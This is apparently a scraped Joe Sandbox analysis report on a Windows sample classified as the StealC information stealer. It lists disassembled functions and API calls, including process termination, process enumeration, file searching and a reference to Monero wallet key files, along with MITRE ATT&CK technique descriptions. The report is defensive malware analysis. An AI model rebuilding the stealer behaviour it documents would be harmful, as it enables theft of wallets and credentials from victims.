Part of subcall function 00278D50: wsprintfW.USER32 ref: 00278D78

OpenProcess.KERNEL32(00001001,00000000,?), ref: 002795AB
TerminateProcess.KERNEL32(00000000,00000000), ref: 002795C9
CloseHandle.KERNEL32(00000000), ref: 002795D6

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: Process$Heap$AllocateCloseHandleOpenTerminatememsetwsprintf
String ID:
API String ID: 3729781310-0
Opcode ID: 92fea2a2bc0396de09950271458d122488612082b1c85fee1d820b137362de3f
Instruction ID: 9a2ea96a532adf1d566725834c1f7bab9da5dd13dd8b68414c7fa3add954c63f
Opcode Fuzzy Hash: 92fea2a2bc0396de09950271458d122488612082b1c85fee1d820b137362de3f
Instruction Fuzzy Hash: 1B314D71E103189FDB14DFE0CC49BEDB778EB44300F508469E50AAB184DB74AA99CF52

Function 00278680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0027A740: lstrcpy.KERNEL32(00280E17,00000000), ref: 0027A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,002805B7), ref: 002786CA
Process32First.KERNEL32(?,00000128), ref: 002786DE
Process32Next.KERNEL32(?,00000128), ref: 002786F3

Part of subcall function 0027A9B0: lstrlen.KERNEL32(?,00E28E80,?,\Monero\wallet.keys,00280E17), ref: 0027A9C5
Part of subcall function 0027A9B0: lstrcpy.KERNEL32(00000000), ref: 0027AA04
Part of subcall function 0027A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0027AA12

Part of subcall function 0027A8A0: lstrcpy.KERNEL32(?,00280E17), ref: 0027A905

CloseHandle.KERNEL32(?), ref: 00278761

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: aa8260646ce6809d3aca52ceb0671d5c108efc53ae443b800cab94bc185ead23
Instruction ID: 0219d916d30843015d054a198d3d010f8ff8f826c5022267afadca5082ab3cff
Opcode Fuzzy Hash: aa8260646ce6809d3aca52ceb0671d5c108efc53ae443b800cab94bc185ead23
Instruction Fuzzy Hash: 7B314D71921218ABCB24EF54CC85FEEB778EF45710F1081A9E10EA61A0DB346A55CFA2

Function 00277980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00280E00,00000000,?), ref: 002779B0
RtlAllocateHeap.NTDLL(00000000), ref: 002779B7
GetLocalTime.KERNEL32(?,?,?,?,?,00280E00,00000000,?), ref: 002779C4
wsprintfA.USER32 ref: 002779F3

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: 31e984d15bbc78295bfbe927b9aeb3a3a1f548cb17acca013853972b01e6af00
Instruction ID: 3f07c8f60c2c82018c9e2a19275e0e50db425eacf932475d1144c49c836de653
Opcode Fuzzy Hash: 31e984d15bbc78295bfbe927b9aeb3a3a1f548cb17acca013853972b01e6af00
Instruction Fuzzy Hash: 5D1127B2904118ABCB14DFC9DD45BBEBBF8FB4DB11F10421AF605A2280E3795950CBB5

Function 0027C742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0027C74E

Part of subcall function 0027BF9F: __amsg_exit.LIBCMT ref: 0027BFAF

__getptd.LIBCMT ref: 0027C765
__amsg_exit.LIBCMT ref: 0027C773
__updatetlocinfoEx_nolock.LIBCMT ref: 0027C797

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: fe0ae6e344d74c6bb28c83a67a512bb71c68f88192be38cd81ad1333db12b201
Instruction ID: d20aedff09891486335c002585cedda31fbf8e1010b035211b89e2c1fb1bcff6
Opcode Fuzzy Hash: fe0ae6e344d74c6bb28c83a67a512bb71c68f88192be38cd81ad1333db12b201
Instruction Fuzzy Hash: 86F090329256019BD726BFB8584775E73A06F00B20F30C14DF40CA65D2CF7459709F56

Function 00274F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00278DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00278E0B

lstrcat.KERNEL32(?,00000000), ref: 00274F7A
lstrcat.KERNEL32(?,00281070), ref: 00274F97
lstrcat.KERNEL32(?,00E28FC0), ref: 00274FAB
lstrcat.KERNEL32(?,00281074), ref: 00274FBD

Part of subcall function 00274910: wsprintfA.USER32 ref: 0027492C
Part of subcall function 00274910: FindFirstFileA.KERNEL32(?,?), ref: 00274943

Part of subcall function 00274910: StrCmpCA.SHLWAPI(?,00280FDC), ref: 00274971
Part of subcall function 00274910: StrCmpCA.SHLWAPI(?,00280FE0), ref: 00274987
Part of subcall function 00274910: FindNextFileA.KERNEL32(000000FF,?), ref: 00274B7D
Part of subcall function 00274910: FindClose.KERNEL32(000000FF), ref: 00274B92

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: ae44817ddaf6adf7bd1092965bc39ed97d450598cc39c378159cda8179d30aeb
Instruction ID: 2eb3d02124ba77f34f5d36f0b8b77c77bd6a68975f3633bbf95e14b93306388a
Opcode Fuzzy Hash: ae44817ddaf6adf7bd1092965bc39ed97d450598cc39c378159cda8179d30aeb
Instruction Fuzzy Hash: 7421DDB6910204A7C794FB70DC46EED773CAB55300F004558B65A921C1EF749AF9CF96

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
file.exe

Function 00279860 Relevance: 80.7, APIs: 33, Strings: 13, Instructions: 212
libraryloaderCOMMON

Function 002645C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 00264880 Relevance: 33.7, APIs: 11, Strings: 8, Instructions: 479
networkstringfileCOMMON

Function 00279C10 Relevance: 231.7, APIs: 112, Strings: 20, Instructions: 684
libraryloaderCOMMON

Function 00266280 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 191
networkfileCOMMON

Function 00275510 Relevance: 24.9, APIs: 7, Strings: 7, Instructions: 383
sleepCOMMON

Function 002717A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Function 00277500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106
memoryCOMMON

Function 002769F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Function 00261220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Function 00276AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Function 002647B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Function 002751F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON